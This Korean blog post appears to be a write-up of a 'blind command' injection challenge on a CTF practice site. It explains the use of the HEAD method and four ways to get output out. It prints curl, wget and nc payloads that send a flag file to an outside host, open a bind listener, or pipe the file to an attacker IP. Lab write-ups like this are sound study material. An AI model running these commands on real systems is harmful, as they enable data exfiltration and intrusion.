blind command

buaii·2023년 7월 14일
0

Web Hacking

목록 보기
16/34
post-custom-banner

Network Outbound
Bind Shell
Reverse Shell
static file directory
HTTP method
Port Forwarding

이번 문제의 코드를 보면 이상한점이 많다

  1. method가 GET인데 GET이 아니어야 os.system(cmd) 코드가 실행된다
  2. os.system(cmd) 의 결과를 따로 출력해주지 않는다

하나하나 천천히 알아보자


HTTP method

GET, HEAD, OPTIONS

  • HEAD : head메소드는 get과 동일하지만 응답의 헤더만 보여준다
  • OPTIONS : 해당 서버에서 사용가능한 메소드를 보여준다

이를 통해 GET이지만 GET이 아닌 HEAD메소드를 통해 system명령어를 실행할 수 있을것이다

OPTIONS메소드를 이용해서 head가 사용가능한지 알아보자

head가 사용가능하다
이제 요청을 보낼 땐 head로 보내자


How to check Result?

command injection 실행 결과를 알 수 없을 때 4가지 방법이 있다

  1. Network Outbound
  2. Bind Shell
  3. Reverse Shell
  4. static file directory

각 방법들에 대해 자세히 알아보자


1. Network Outbound

실행 결과를 외부 서버로 전송하는 방법

payload

  • curl http://jrnvume.request.dreamhack.games/ -d $(cat flag.py)
  • wget https://dzmnkob.request.dreamhack.games --method=POST --body-data="`cat flag.py`"


이 문제에서는 curl이 실행이 안된다;; 서버에서 막은 것 같다
flag를 wget 으로 획득했다


2. Bind Shell

서버의 특정 port를 열어 공격자가 접속하는 방법

payload

  • nc -lvp [portnum]

공격대상 서버에 해당 payload로 port를 열고 공격자가 접속을 하면 된다

하지만, 이 문제에서는 특정 포트를 열어도 포트포워딩 설정을 할 수 없어 bind shell로는 결과를 알 수 없다


3. Reverse Shell

공격자가 특정 port를 열어 서버가 접속하도록 하는 방법

payload

  • cat flag.py | nc [myIP] [portnum]

로컬에서 포트를 열어주고 서버를 연결시켜보자

내 노트북이랑 연결되면서 flag가 전송되었다



4. static File directory

웹 루트 하위폴더(static)에 File을 생성해 접근하는 방법

프레임워크 또는 다양한 웹 어플리케이션에서는 JS/CSS/Img 등의 정적 리소스를 다루기 위해 Static File Directory를 사용한다

payload

  • static 폴더 : mkdir static; cat flag.py > static/result.txt

static폴더에 command 실행결과를 파일로 저장하면 웹에서도 접근할 수 있을 것이다

기존에는 존재하지 않던 경로인 static/result.txt에 접근하니 실행결과가 화면에 출력되어 flag를 획득했다



Conclusion

이번 문제는 정말 중요하다고 생각했다
시스템 명령어를 실행하는 간단한 문제이지만 이를 해결하기위해
HTTP헤더, 네트워크 설정, 웹 애플리케이션 등등 다양한 지식의 이해가 필요하기 때문이다
여러 방법을 직접 실습해보면서 해킹안목을 넓히는 좋은 문제다

profile
buaii
post-custom-banner

0개의 댓글